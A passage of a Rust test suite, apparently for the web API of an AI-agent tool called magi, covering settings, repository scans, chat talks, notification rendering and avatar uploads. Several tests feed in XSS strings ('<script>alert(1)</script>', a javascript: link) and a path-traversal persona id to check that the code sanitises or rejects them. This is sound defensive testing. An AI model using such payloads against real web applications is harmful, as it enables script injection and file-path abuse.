12965 .expect("roles")
12966 .iter()
12967 .find(|r| r["key"] == "judges")
12968 .expect("judges")
12969 .clone();
12970 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
12971 let stale = f.put("/api/settings/roles", &body).await;
12973 assert_eq!(stale.status, 409, "{}", stale.body);
12974 }
12975
12976 #[tokio::test]
12977 async fn settings_counts_are_reported_and_saved() {
12978 let (_tmp, repo, machine) = settings_dirs(
12979 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
12980 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
12981 );
12982 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
12983 let v = f.get("/api/settings").await.json();
12984 let count = |v: &serde_json::Value, k: &str| {
12985 v["roles"]
12986 .as_array()
12987 .and_then(|r| r.iter().find(|x| x["key"] == k))
12988 .map(|x| x["count"].clone())
12989 .unwrap_or_else(|| panic!("no role {k}: {v}"))
12990 };
12991 let imp = count(&v, "implementers");
12992 assert_eq!(imp["value"], 2);
12993 assert_eq!(imp["source"], "machine");
12994 assert_eq!(imp["file_key"], "candidates");
12995 assert_eq!(imp["roster_len"], 2);
12996 assert_eq!(imp["backups"], 0);
12997 assert_eq!(count(&v, "judges")["source"], "default");
12998 assert_eq!(count(&v, "advisors")["min"], 0);
12999 assert_eq!(count(&v, "reviewers")["editable"], false);
13000 assert!(
13001 count(&v, "reviewers")["locked_reason"]
13002 .as_str()
13003 .is_some_and(|m| m.contains("graph.reviewers"))
13004 );
13005 assert!(count(&v, "fixer").is_null());
13006 let rev = v["revision"].as_str().expect("revision").to_owned();
13007 let body = serde_json::json!({
13008 "revision": rev,
13009 "roles": { "judges": ["b"] },
13010 "counts": { "implementers": 1, "advisors": 0 }
13011 })
13012 .to_string();
13013 let res = f.put("/api/settings/roles", &body).await;
13014 assert_eq!(res.status, 200, "{}", res.body);
13015 let text = std::fs::read_to_string(&machine).expect("machine");
13016 assert_eq!(
13017 text,
13018 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
13019 );
13020 let after = f.get("/api/settings").await.json();
13021 assert_eq!(count(&after, "implementers")["value"], 1);
13022 assert_eq!(count(&after, "implementers")["backups"], 1);
13023 assert_eq!(count(&after, "advisors")["value"], 0);
13024 let before = std::fs::read_to_string(&machine).expect("machine");
13025 let rev = after["revision"].as_str().expect("revision").to_owned();
13026 for counts in [
13027 serde_json::json!({ "judges": 0 }),
13028 serde_json::json!({ "judges": "x" }),
13029 serde_json::json!({ "judges": 2.5 }),
13030 serde_json::json!({ "judges": -1 }),
13031 serde_json::json!({ "reviewers": 3 }),
13032 serde_json::json!({ "bogus": 3 }),
13033 ] {
13034 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
13035 let res = f.put("/api/settings/roles", &body).await;
13036 assert_eq!(res.status, 422, "{counts}: {}", res.body);
13037 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
13038 }
13039 }
13040
13041 #[tokio::test]
13042 async fn settings_put_refuses_without_touching_the_file() {
13043 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
13044 let (_tmp, repo, machine) = settings_dirs(
13045 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
13046 Some(machine_text),
13047 );
13048 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13049 let rev = f.get("/api/settings").await.json()["revision"]
13050 .as_str()
13051 .expect("revision")
13052 .to_owned();
13053 for roles in [
13054 serde_json::json!({ "judges": ["nope"] }),
13055 serde_json::json!({ "reviewers": ["b"] }),
13056 serde_json::json!({ "bogus": ["a"] }),
13057 ] {
13058 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
13059 let res = f.put("/api/settings/roles", &body).await;
13060 assert_eq!(res.status, 422, "{roles}: {}", res.body);
13061 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
13062 assert_eq!(
13063 std::fs::read_to_string(&machine).expect("machine"),
13064 machine_text
13065 );
13066 }
13067 }
13068
13069 #[tokio::test]
13070 async fn repos_list_returns_name_and_path_for_every_configured_root() {
13071 let tmp = TempDir::new().expect("tempdir");
13072 let repo = tmp.path().join("repo");
13073 std::fs::create_dir_all(&repo).expect("repo dir");
13074 let root = tmp.path().join("root");
13075 make_checkout(&root, "github.com", "yukimemi", "magi");
13076 std::fs::write(
13077 repo.join("magi.toml"),
13078 format!(
13079 "[repos]\nroots = [{:?}]\n",
13080 root.to_string_lossy().into_owned()
13081 ),
13082 )
13083 .expect("write magi.toml");
13084
13085 let f = Fixture::with_repo(repo).await;
13086 let res = f.get("/api/repos").await;
13087 assert_eq!(res.status, 200, "{}", res.body);
13088 let list = res.json();
13089 let repos = list.as_array().expect("an array");
13090 assert_eq!(repos.len(), 1);
13091 assert_eq!(repos[0]["name"], "yukimemi/magi");
13092 assert!(
13093 repos[0]["path"]
13094 .as_str()
13095 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13096 "{list}"
13097 );
13098 }
13099
13100 #[tokio::test]
13101 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13102 let tmp = TempDir::new().expect("tempdir");
13103 let repo = tmp.path().join("repo");
13104 std::fs::create_dir_all(&repo).expect("repo dir");
13105 let root = tmp.path().join("root");
13106 make_checkout(&root, "github.com", "yukimemi", "magi");
13107 std::fs::write(
13108 repo.join("magi.toml"),
13109 format!(
13110 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13111 root.to_string_lossy().into_owned()
13112 ),
13113 )
13114 .expect("write magi.toml");
13115
13116 let f = Fixture::with_repo(repo).await;
13117 let first = f.get("/api/repos").await;
13118 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13119
13120 make_checkout(&root, "github.com", "yukimemi", "rvpm");
13123 let second = f.get("/api/repos").await;
13124 assert_eq!(
13125 second.json().as_array().map(Vec::len),
13126 Some(1),
13127 "a fresh cache must not rescan inside the TTL"
13128 );
13129
13130 let refreshed = f.get("/api/repos?refresh=1").await;
13131 assert_eq!(
13132 refreshed.json().as_array().map(Vec::len),
13133 Some(2),
13134 "an explicit refresh must rescan even inside the TTL"
13135 );
13136 }
13137
13138 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13144
13145 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
13149 let tmp = TempDir::new().expect("tempdir");
13150 let repo = tmp.path().join("repo");
13151 std::fs::create_dir_all(&repo).expect("repo dir");
13152 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13153 let f = Fixture::with_repo(repo.clone()).await;
13154 (tmp, repo, f)
13155 }
13156
13157 #[tokio::test]
13158 async fn posting_a_talk_with_remembered_choices_is_soft() {
13159 let (_tmp, _repo, f) = talk_fixture().await;
13160
13161 let good = f
13162 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
13163 .await;
13164 assert_eq!(good.status, 201, "{}", good.body);
13165 assert_eq!(good.json()["persona"], "rei");
13166
13167 let stale = f
13169 .post(
13170 "/api/talks",
13171 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
13172 )
13173 .await;
13174 assert_eq!(stale.status, 201, "{}", stale.body);
13175 let v = stale.json();
13176 assert_eq!(v["implementers"], 1);
13177 assert_ne!(v["persona"], "nobody");
13178 let typed = f
13179 .post(
13180 "/api/talks",
13181 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
13182 )
13183 .await;
13184 assert_eq!(typed.status, 201, "{}", typed.body);
13185
13186 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
13188 assert!(
13189 !strict.status.to_string().starts_with('2'),
13190 "{}",
13191 strict.body
13192 );
13193 }
13194
13195 #[tokio::test]
13196 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
13197 let (_tmp, _repo, f) = talk_fixture().await;
13198
13199 let opened = f.post("/api/talks", None).await;
13202 assert_eq!(opened.status, 201, "{}", opened.body);
13203 let body = opened.json();
13204 assert_eq!(body["status"], "open");
13205 assert_eq!(
13206 body["turns"].as_array().unwrap().len(),
13207 0,
13208 "opening takes no agent turn: there is nothing yet to answer"
13209 );
13210
13211 let also_opened = f.post("/api/talks", Some("{}")).await;
13213 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
13214
13215 let listed = f.get("/api/talks").await.json();
13216 assert_eq!(listed.as_array().unwrap().len(), 2);
13217 }
13218
13219 #[tokio::test]
13220 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
13221 let tmp = TempDir::new().expect("tempdir");
13222 let repo = tmp.path().join("repo");
13223 std::fs::create_dir_all(&repo).expect("repo dir");
13224 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
13225 std::fs::write(
13226 repo.join("magi.toml"),
13227 format!("{MOCK_AGENT_TOML}\n{second}"),
13228 )
13229 .expect("write magi.toml");
13230 let home = TempDir::new().expect("temp home");
13231 let talks = Talks::at(home.path().join("talks"));
13232 let ui = Arc::new(
13233 Ui::new(
13234 Queue::at(home.path().join("queue")),
13235 Questions::at(home.path().join("questions")),
13236 talks.clone(),
13237 home.path().join("runs"),
13238 home.path().to_path_buf(),
13239 repo.clone(),
13240 )
13241 .with_worktrees_root(home.path().join("wt")),
13242 );
13243 let cfg = config_for(&repo).await.expect("discover config");
13244 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13245 let id = talk.id.clone();
13246 let call = |agent: &str| {
13247 talk_agent(
13248 State(Arc::clone(&ui)),
13249 Path(id.clone()),
13250 Json(TalkAgent {
13251 agent: agent.to_owned(),
13252 }),
13253 )
13254 };
13255
13256 let unknown = call("nobody").await.expect_err("unknown agent");
13257 assert_eq!(
13258 unknown.status,
13259 StatusCode::BAD_REQUEST,
13260 "{}",
13261 unknown.message
13262 );
13263
13264 {
13265 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13268 let busy = call("second").await.expect_err("busy talk");
13269 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13270 assert!(
13271 busy.message.contains("a talk turn is running"),
13272 "{}",
13273 busy.message
13274 );
13275 drop(guard);
13276 }
13277 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
13278
13279 let Json(view) = call("second").await.expect("switch");
13280 assert_eq!(view.talk.agent, "second");
13281 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
13282 let saved = talks.get(&id).expect("reload");
13283 assert_eq!(saved.agent, "second");
13284 assert_eq!(saved.turns.len(), 1);
13285 assert!(!view.thinking);
13286 assert!(!ui.is_thinking(&id), "idle response must release the claim");
13287 for agent in ["mock", "second"] {
13288 let Json(view) = call(agent).await.expect("immediate consecutive change");
13289 assert_eq!(view.talk.agent, agent);
13290 assert!(!view.thinking);
13291 assert!(!ui.is_thinking(&id));
13292 }
13293
13294 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13295 .await
13296 .expect("detail");
13297 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
13298 assert_eq!(roster, ["mock", "second"]);
13299
13300 let mut closed = talks.get(&id).expect("reload");
13301 talk::close(&mut closed, &talks).expect("close");
13302 let refused = call("mock").await.expect_err("closed talk");
13303 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13304 assert!(
13305 refused.message.contains("takes no more turns"),
13306 "{}",
13307 refused.message
13308 );
13309 }
13310
13311 #[tokio::test]
13312 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
13313 let tmp = TempDir::new().expect("tempdir");
13314 let repo = tmp.path().join("repo");
13315 std::fs::create_dir_all(&repo).expect("repo dir");
13316 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13317 let home = TempDir::new().expect("temp home");
13318 let talks = Talks::at(home.path().join("talks"));
13319 let ui = Arc::new(
13320 Ui::new(
13321 Queue::at(home.path().join("queue")),
13322 Questions::at(home.path().join("questions")),
13323 talks.clone(),
13324 home.path().join("runs"),
13325 home.path().to_path_buf(),
13326 repo.clone(),
13327 )
13328 .with_worktrees_root(home.path().join("wt")),
13329 );
13330 let cfg = config_for(&repo).await.expect("discover config");
13331 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13332 let id = talk.id.clone();
13333 let call = |n: u8| {
13334 talk_implementers(
13335 State(Arc::clone(&ui)),
13336 Path(id.clone()),
13337 Json(TalkImplementers { implementers: n }),
13338 )
13339 };
13340
13341 for bad in [0u8, 4] {
13342 let e = call(bad).await.expect_err("out of range");
13343 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
13344 }
13345 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
13346
13347 {
13348 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13351 let busy = call(2).await.expect_err("busy talk");
13352 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13353 assert!(
13354 busy.message.contains("a talk turn is running"),
13355 "{}",
13356 busy.message
13357 );
13358 drop(guard);
13359 }
13360
13361 let Json(view) = call(3).await.expect("switch");
13362 assert_eq!(view.talk.implementers, 3);
13363 assert!(talks.get(&id).expect("reload").implementers_dirty);
13364 assert!(!view.thinking);
13365 assert!(!ui.is_thinking(&id), "idle response must release the claim");
13366 for n in [1, 2, 3] {
13367 let Json(view) = call(n).await.expect("immediate consecutive change");
13368 assert_eq!(view.talk.implementers, n);
13369 assert!(!view.thinking);
13370 assert!(!ui.is_thinking(&id));
13371 }
13372
13373 let mut closed = talks.get(&id).expect("reload");
13374 talk::close(&mut closed, &talks).expect("close");
13375 let e = call(2).await.expect_err("closed talk");
13376 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
13377 assert!(e.message.contains("takes no more turns"), "{}", e.message);
13378 }
13379
13380 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
13382 let tmp = TempDir::new().expect("tempdir");
13383 let repo = tmp.path().join("repo");
13384 std::fs::create_dir_all(&repo).expect("repo dir");
13385 std::fs::write(
13386 repo.join("magi.toml"),
13387 format!("{MOCK_AGENT_TOML}\n{extra}"),
13388 )
13389 .expect("write magi.toml");
13390 let home = TempDir::new().expect("temp home");
13391 let talks = Talks::at(home.path().join("talks"));
13392 let ui = Arc::new(
13393 Ui::new(
13394 Queue::at(home.path().join("queue")),
13395 Questions::at(home.path().join("questions")),
13396 talks.clone(),
13397 home.path().join("runs"),
13398 home.path().to_path_buf(),
13399 repo.clone(),
13400 )
13401 .with_worktrees_root(home.path().join("wt")),
13402 );
13403 let cfg = config_for(&repo).await.expect("discover config");
13404 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13405 (tmp, home, ui, talk.id, repo)
13406 }
13407
13408 #[tokio::test]
13409 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
13410 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13411 let mut conversation = ui.talks.get(&id).unwrap();
13412 talk::record(
13413 &mut conversation,
13414 &ui.talks,
13415 "# Update on a task you filed\noperator words",
13416 vec![],
13417 )
13418 .unwrap();
13419 conversation.turns[0].sender = None;
13421 conversation.turns[0].messages.clear();
13422 ui.talks.put(&mut conversation).unwrap();
13423 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
13424 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
13425 talk::drain(&mut conversation, &ui.talks).unwrap();
13426 talk::record_reply(
13427 &mut conversation,
13428 &ui.talks,
13429 "about that report",
13430 vec![],
13431 Some(talk::ReplyTarget {
13432 turn: 1,
13433 message: 1,
13434 }),
13435 )
13436 .unwrap();
13437 conversation.turns[2].messages[0]
13438 .reply
13439 .as_mut()
13440 .unwrap()
13441 .sender = None;
13442 conversation.turns.push(talk::Turn {
13443 sender: Some(talk::Sender::Persona),
13444 who: talk::Who::Agent,
13445 body: "magi: actual persona words".into(),
13446 at: Timestamp::now(),
13447 attachments: vec![],
13448 usage: None,
13449 breaks: None,
13450 messages: vec![],
13451 posted_by: None,
13452 });
13453 ui.talks.put(&mut conversation).unwrap();
13454 let view = TalkView::with_config(
13455 ui.talks.get(&id).unwrap(),
13456 false,
13457 None,
13458 &ui.home,
13459 &ui.references,
13460 );
13461 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
13462 assert_eq!(
13463 view.talk.turns[1].messages[0].sender,
13464 Some(talk::Sender::Operator)
13465 );
13466 assert_eq!(
13467 view.talk.turns[1].messages[1].sender,
13468 Some(talk::Sender::Magi)
13469 );
13470 assert_eq!(
13471 view.talk.turns[2].messages[0]
13472 .reply
13473 .as_ref()
13474 .unwrap()
13475 .sender,
13476 Some(talk::Sender::Magi)
13477 );
13478 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
13479 assert_eq!(view.turn_messages_md[0].len(), 1);
13480 assert!(view.turn_messages_md[0][0].is_none());
13481 assert!(view.turn_messages_md[1][0].is_none());
13482 assert!(view.turn_messages_md[1][1].is_some());
13483 }
13484
13485 #[tokio::test]
13486 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
13487 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13488 let mut conversation = ui.talks.get(&id).unwrap();
13489 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
13490 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13491 talk::queue_notice(
13492 &mut conversation,
13493 &ui.talks,
13494 &body,
13495 "watch:123",
13496 &|_| false,
13497 None,
13498 display.clone(),
13499 )
13500 .unwrap();
13501 assert!(
13502 !talk::queue_notice(
13503 &mut conversation,
13504 &ui.talks,
13505 &body,
13506 "watch:123",
13507 &|_| false,
13508 None,
13509 display.clone()
13510 )
13511 .unwrap()
13512 );
13513 let saved = ui.talks.get(&id).unwrap();
13514 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
13515 let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
13516 assert!(
13517 view.talk.turns[0].messages[0].display.is_none(),
13518 "operator copy stays literal"
13519 );
13520 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
13521 assert!(view.turn_messages_md[0][0].is_none());
13522 let queued_md = view.pending_messages_md[0].clone();
13523 assert_eq!(
13524 queued_md,
13525 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
13526 );
13527 talk::drain(&mut conversation, &ui.talks).unwrap();
13528 talk::record_reply(
13529 &mut conversation,
13530 &ui.talks,
13531 "Explain",
13532 vec![],
13533 Some(talk::ReplyTarget {
13534 turn: 1,
13535 message: 0,
13536 }),
13537 )
13538 .unwrap();
13539 let mut saved = ui.talks.get(&id).unwrap();
13540 assert_eq!(saved.turns[1].messages[0].body, body);
13541 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
13542 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
13543 assert!(!reply.excerpt.contains("automatic report"));
13544 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
13547 let view = TalkView::with_config(
13548 ui.talks.get(&id).unwrap(),
13549 false,
13550 None,
13551 &ui.home,
13552 &ui.references,
13553 );
13554 assert_eq!(view.turn_messages_md[1][0], queued_md);
13555 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
13556 assert!(
13557 !view.talk.turns[2].messages[0]
13558 .reply
13559 .as_ref()
13560 .unwrap()
13561 .excerpt
13562 .contains("automatic report")
13563 );
13564 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
13565 }
13566
13567 #[tokio::test]
13568 async fn consultation_display_hides_directives_in_queue_and_history() {
13569 for node in [
13570 "implement",
13571 crate::land::APPROVAL_NODE,
13572 crate::github_text::ASK_NODE,
13573 ] {
13574 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13575 let mut question = Question::new(
13576 "run-123".into(),
13577 node.into(),
13578 "seat-1".into(),
13579 "Which backend?".into(),
13580 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
13581 vec!["SQLite".into(), "Redis".into()],
13582 );
13583 ui.questions.put(&mut question).unwrap();
13584 let body = crate::prompt::chat_consult(&question);
13585 let mut conversation = ui.talks.get(&id).unwrap();
13586 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13587 assert!(
13588 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
13589 );
13590 conversation = ui.talks.get(&id).unwrap();
13591 assert_eq!(conversation.pending_messages[0].body, body);
13592 assert!(body.contains("magi answer"));
13593 let mut legacy_pending = conversation.clone();
13594 legacy_pending.pending_messages[0].display = None;
13595 let legacy_view =
13596 TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
13597 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
13598 assert!(legacy_md.contains("Question consultation"));
13599 assert!(!legacy_md.contains("magi answer"));
13600 let view =
13601 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13602 assert!(
13603 view.turn_messages_md[0][0].is_none(),
13604 "operator copy stays literal"
13605 );
13606 let queued_md = view.pending_messages_md[0].clone().unwrap();
13607 let rendered = serde_json::to_string(&queued_md).unwrap();
13608 for visible in [
13609 "Which backend?",
13610 "Context",
13611 "storage",
13612 "SQLite",
13613 "Redis",
13614 "<script>literal</script>",
13615 ] {
13616 assert!(rendered.contains(visible), "missing {visible}");
13617 }
13618 for directive in [
13619 "What to do",
13620 "magi answer",
13621 "Never answer it yourself",
13622 "Do not edit the repository",
13623 ] {
13624 assert!(!rendered.contains(directive), "exposed {directive}");
13625 }
13626 assert_eq!(
13627 view.talk.pending_messages[0].display,
13628 Some(crate::prompt::chat_consult_display(&question))
13629 );
13630 talk::drain(&mut conversation, &ui.talks).unwrap();
13631 let view =
13632 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13633 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
13634 assert_eq!(conversation.turns[1].messages[0].body, body);
13635
13636 conversation.turns[1].messages[0].display = None;
13639 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13640 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
13641 assert!(legacy.contains("Question consultation"));
13642 assert!(!legacy.contains("magi answer"));
13643 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13644 }
13645 }
13646
13647 #[test]
13648 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
13649 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
13650 let (body, mut display) =
13651 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
13652 display.facts = facts.into();
13653 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
13654 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
13655 let json = serde_json::to_string(&nodes).unwrap();
13656 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
13657 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
13658 }
13659 assert!(json.contains("<script>alert(1)</script>"));
13660 assert!(!json.contains("javascript:"));
13661 assert!(!json.contains("Tell the operator"));
13662 assert!(!json.contains("untrusted"));
13663 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
13664 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
13665 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13666 assert_eq!(
13667 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
13668 md::to_nodes("# Status", &md::ImageBase::None),
13669 );
13670 }
13671
13672 #[tokio::test]
13673 async fn notification_display_recovers_exact_legacy_completion_references() {
13674 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13675 let mut conversation = ui.talks.get(&id).unwrap();
13676 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
13677 id: "task-123",
13678 title: "Change",
13679 status: "done",
13680 reason: None,
13681 run: Some("run-123"),
13682 pr: None,
13683 summary: Some("Merge state unknown"),
13684 });
13685 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13686 conversation.turns[0].sender = None;
13687 conversation.turns[0].messages.clear();
13688 conversation.turns[0].breaks = None;
13689 conversation.pending = body.clone();
13690 conversation
13691 .completion_notices
13692 .push(crate::chat_notify::CompletionReference {
13693 task: "task-123".into(),
13694 run: Some("run-123".into()),
13695 notice: body.clone(),
13696 });
13697 ui.talks.put(&mut conversation).unwrap();
13698 let view = TalkView::with_config(
13699 ui.talks.get(&id).unwrap(),
13700 false,
13701 None,
13702 &ui.home,
13703 &ui.references,
13704 );
13705 assert_eq!(
13706 view.talk.turns[0].messages[0].display,
13707 Some(display.clone())
13708 );
13709 assert_eq!(view.talk.pending_messages[0].display, Some(display));
13710 assert_eq!(
13711 view.talk.turns[0].messages[0].sender,
13712 Some(talk::Sender::Magi)
13713 );
13714 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
13715 conversation.completion_notices[0]
13716 .notice
13717 .push_str("different");
13718 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13719 assert!(view.talk.turns[0].messages.is_empty());
13720 assert!(view.talk.pending_messages.is_empty());
13721 }
13722
13723 #[tokio::test]
13724 async fn avatar_settings_report_states_and_inherit_after_corruption() {
13725 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13726 let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
13727 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
13728 ))
13729 .await;
13730 let path = avatar_setting_path(home.path(), Some("rei"));
13731 let orphan = avatar_setting_path(home.path(), Some("removed"));
13732 save_icon_file(&orphan, icon).unwrap();
13733 for (saved, expected) in [
13734 (icon, "custom"),
13735 ("builtin", "builtin"),
13736 ("data:image/png;base64,!!!!", "inherit"),
13737 ("data:image/png;base64,PGh0bWw+", "inherit"),
13738 ("/tmp/avatar.png", "inherit"),
13739 ] {
13740 atomic_icon_write(&path, saved).unwrap();
13741 let catalog =
13742 avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
13743 .await
13744 .unwrap()
13745 .0;
13746 let personas = catalog["personas"].as_array().unwrap();
13747 let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
13748 assert_eq!(rei["override_state"], expected);
13749 assert_eq!(rei["has_config_icon"], true);
13750 assert_eq!(rei["is_orphan"], false);
13751 let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
13752 assert_eq!(removed["override_state"], "custom");
13753 assert_eq!(removed["is_orphan"], true);
13754 let default = personas.iter().find(|p| p["id"] == "default").unwrap();
13755 assert_eq!(default["override_state"], "inherit");
13756 assert_eq!(default["has_config_icon"], false);
13757 let effective = effective_persona_icon(home.path(), "rei", Some(icon));
13758 assert_eq!(
13759 effective.as_deref(),
13760 Some(if expected == "builtin" { "" } else { icon })
13761 );
13762 }
13763 }
13764
13765 #[tokio::test]
13766 async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
13767 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13768 let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
13769 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
13770 ))
13771 .await;
13772 let target = |id: Option<&str>| AvatarSettingsQuery {
13773 persona: id.map(str::to_owned),
13774 ..Default::default()
13775 };
13776 let original_config = config_for(&repo).await.unwrap();
13777 let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
13778 let original_prompt = persona::section_for(&original_persona, None);
13779 let before = talk_detail(State(ui.clone()), Path(id.clone()))
13780 .await
13781 .unwrap()
13782 .0;
13783 for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
13784 let _ = avatar_settings_put(
13785 State(ui.clone()),
13786 Query(target(persona)),
13787 Json(MagiIconUpload { icon: icon.into() }),
13788 )
13789 .await
13790 .unwrap();
13791 let path = avatar_setting_path(home.path(), persona);
13792 assert!(path.starts_with(home.path().join("avatars")));
13793 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
13794 for bad in [
13795 "/tmp/image.png".to_owned(),
13796 "data:image/png;base64,!!!!".to_owned(),
13797 "data:image/png;base64,PGh0bWw+".to_owned(),
13798 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
13799 format!(
13800 "data:image/png;base64,{}",
13801 "A".repeat(persona_icon::ICON_MAX_BYTES)
13802 ),
13803 ] {
13804 assert!(
13805 avatar_settings_put(
13806 State(ui.clone()),
13807 Query(target(persona)),
13808 Json(MagiIconUpload { icon: bad })
13809 )
13810 .await
13811 .is_err()
13812 );
13813 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
13814 }
13815 }
13816 assert!(read_magi_icon(home.path()).is_none());
13817 assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
13818 let after = talk_detail(State(ui.clone()), Path(id.clone()))
13819 .await
13820 .unwrap()
13821 .0;
13822 assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
13823 assert_ne!(
13824 before
13825 .personas
13826 .iter()
13827 .find(|p| p.id == "magi")
13828 .unwrap()
13829 .avatar,
13830 after
13831 .personas
13832 .iter()
13833 .find(|p| p.id == "magi")
